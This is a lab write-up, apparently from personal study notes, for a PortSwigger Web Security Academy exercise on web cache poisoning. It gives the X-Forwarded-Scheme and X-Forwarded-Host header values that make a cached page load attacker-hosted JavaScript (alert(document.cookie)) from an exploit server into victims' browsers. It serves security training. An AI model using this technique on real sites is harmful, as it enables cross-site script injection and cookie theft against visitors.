> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/cache-poisoning/cache-poisoning-with-multiple-headers.md).
# Cache Poisoning with Multiple Headers
Cache Poisoning with Multiple Headers notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Web Cache Poisoning with Multiple Headers
This lab presents a vulnerability to poisoning the exploitable web cache only by combining several HTTP headers. / A user visits the home page about once a minute. / The target is to poison the cache so that the response in the victim's browser triggers `alert(document.cookie)`.
**Initial analysis**
* Interception of the request to the site root (`/`).
* The answer seems cached and reused for the following visitors.
**Discovered exploitable headers**
* Use of extension **Param Miner** to guess unindexed headers.
* The tool detects the header **`X-Forwarded-Scheme`**.
**`X-Forwarded-Scheme` Test**
* This header indicates whether the query is treated as coming from HTTP or HTTPS.
* Sending:
```http
X-Forwarded-Scheme: http
```
* The site tries to behave as if it was served in HTTP.
This causes malfunction and resources are no longer loaded properly due to incorrect redirections.
**Add a second header: `X-Forwarded-Host`**
```http
X-Forwarded-Host: test.com
```
* The site then tries to load its resources from this area.
The loading of the JavaScript file includes:
This script is executed automatically when loading the page.
**Operation with Exploit Server**
* The goal is to force the loading of the JavaScript file from the Exploit Server.
```http
X-Forwarded-Scheme: http
X-Forwarded-Host: exploit-0a3a002204e750ae80a9206c011700a8.exploit-server.net/exploit
```
On the exploit server:
* Create a file accessible to URL:
File Content:
```javascript
alert(document.cookie)
```
**Result**
* The home page now loads the JavaScript script from the Exploit Server.
* The poisoned response is hidden.
* When a user visits the page, the script runs automatically.
* An alert displaying `document.cookie` appears in the victim's browser.
---
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